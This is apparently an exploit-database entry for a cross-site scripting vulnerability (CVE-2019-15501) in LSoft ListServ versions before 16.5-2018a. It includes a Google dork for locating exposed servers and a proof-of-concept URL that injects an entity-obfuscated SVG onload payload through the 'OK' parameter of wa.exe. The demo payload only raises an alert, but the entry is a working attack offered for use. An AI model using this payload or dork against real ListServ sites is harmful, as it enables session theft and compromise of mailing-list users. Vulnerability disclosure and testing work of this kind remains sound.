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# Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS)  
# Google Dork: intitle:LISTSERV 16.5  
# Date: 08-21-2019  
# Exploit Author: MTK (http://mtk911.cf/)  
# Vendor Homepage: http://www.lsoft.com/  
# Softwae Link: http://www.lsoft.com/products/listserv.asp  
# Version: Older than Ver 16.5-2018a  
# Tested on: IIS 8.5/10.0 - Firefox/Windows  
# CVE : CVE-2019-15501  
  
# Software description:  
The term Listserv has been used to refer to electronic mailing list software applications in general,   
but is more properly applied to a few early instances of such software, which allows a sender to send one   
email to the list, and then transparently sends it on to the addresses of the subscribers to the list.   
  
# POC  
  
1. http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD>  
2. http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')>  
  
# References:  
1. http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf  
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501